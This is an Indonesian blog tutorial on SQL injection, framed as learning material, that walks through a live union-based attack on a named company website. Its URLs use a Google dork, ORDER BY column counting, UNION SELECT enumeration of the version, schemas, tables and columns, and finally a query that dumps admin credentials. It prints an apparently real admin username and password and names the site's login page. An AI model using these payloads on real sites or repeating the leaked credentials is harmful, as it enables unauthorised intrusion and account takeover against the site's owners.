SQL Injection - Pengertian & Uji Coba

Artikel ini dibuat hanya untuk pembelajaran karena kita harus inget “No System Is Safe”. Kata2 itu juga berlaku untuk seluruh website yang ada didunia maya, termasuk blog saia juga sih. Beberapa hari ini saia dimintai tolong untuk melihat sebuah website milik komunitas (kebetulan saia adminx, wkwkwk..!!!!) dan yg terjadi adalah, banyaknya aktivitas2 yg tak dikenal yg berusaha menginject web tersebut dgn berbagai metode termasuk metode yg paling sering digunakan didunia ini untuk mendeface sebuah web, metode itu ialah yg akan kita bahas di artikel ini. Dan untuk itulah timbul pikiran saia untuk membuat artikel ini sebagai bahan pembelajaran dan sharing kepada teman2 smua…

Ok, langsung saja :

Apa sih Sql Injection itu..??? SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data (eng: database) di dalam sistem.

Kita langsung mencobanya..

Dork: inurl:news_details.php?id=

Sebagai contoh, kita mendapatkan target berikut :



Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda ( ) di akhir URL, contohnya sebagai berikut:



Dan terlihat ada tulisan Query Failed qry1..

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut. Kita akan mengetahuinya sampai ada informasi “Query Failed qry1“.

Lakukan pengecekan dengan menggunakan perintah “order by“.

Kita akan mencoba dari 1……..tak terhingga, jadi bisa saja 1,2,3,4,5,6,7,8,9,dst.

Kebetulah dalam target ini hanya terdapat 9 kolom dalam table yang ada di database,

Contohnya:



Langkah pengetesannya adalah :

http://www.pigeon.co.id/news_details.php?newsid=104 order by 1-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 2-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 3-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 4-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 5-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 6-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 7-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 8-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 9-- => No Error

http://www.pigeon.co.id/news_details.php?newsid=104 order by 10-- => Query Failed qry1


Hal tersebut membuktikan bahwa tidak ada kolom ke 10 dalam table tersebut, jadi cuman ada 9 kolom. Langkah selanjutnya adalah, mencari kolom yang dapat di akses!

Kita sudah mengetahui, jumlah kolom adalah 9, kita gunakan perintah “UNION SELECT number,of,columns--” untuk mengatahui kolom mana yang dapat di akses:

Langkah2nya :

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,4,5,6,7,8,9--

Maka anda akan menemukan gambar berikut :



Muncul 3 dan 4 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya. Langkah selanjutnya, mencari informasi versi database.

SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.

Misalkan kolom “4″ kita ganti dengan “@@version

Contoh :

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,@@version,5,6,7,8,9--

Akan muncul versi database 5.0.22-log, ini berarti database bisa di inject



Mengetahui Database Name
Langsung ajah kita replace kolom yang tadi digunakan “3,4″ dibagian mana saja, kita gunakan kolom “4″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata--” sesudah kolom terakhir.

Contoh :

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,group_concat(schema_name),5,6,7,8,9 from information_schema.schemata--



Mengatahui Database Yang Dipakai
Langsung ajah ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,concat(database()),5,6,7,8,9 from information_schema.schemata--


OK, kita telah mengetahui database yang dipakai saat ini adalah “indocitra“.


Mengetahui Nama Tabel
Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()--” setelah kolom terakhir.

Contoh :

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--



Mengatahui Nama Kolom
Untuk mengetahui nama kolom, kita gunakan 2 query berikut:

group_concat(column_name)

from information_schema.columns where table_schema=database()--

Contoh :

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database()--


Terlihat ada usernama & pass, itu yg akan kita ambil…


Mengambil Informasi Yang Ada Di Dalam Kolom
Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database. Eksekusi perintah berikut:

http://www.pigeon.co.id/news_details.php?newsid=104 union select 1,2,3,group_concat(username,0x3a,pass),5,6,7,8,9 from indocitra.pigeon_admin--


Ok, saia jelaskan maksud script diatas

=> 0x3a adalah nama lain untuk ( : )

=> from indocitra.pigeon admin adalah hasil database yg kita dapatkan distep awal tadi


Dari informasi di atas kita mendapatkan data: “admin_pigeon:5<75nsirf,indocitra:wfnythsin

yg berarti :

username : admin_pigeon

pass : 5<75nsirf  (belum diketahui)

saia masih belum tau apa apakah pass tersebut dienkripsi atau tidak & klo emank dienkripsi, enkripsi apa yg digunakan..???  Mungkin ada yg bisa membantu saia..


Step terakhir ialah mencari letak kolom admin. Setelah saia mencari dengan metode yg Insya Allah saia posting klo ada kesempatan, ternyata kolom adminx terletak di :

http://www.pigeon.co.id/login.php



Ok semua, selamet berkreasi dan sukseskan dunia IT di Indonesia...

2 Responses to "SQL Injection - Pengertian & Uji Coba"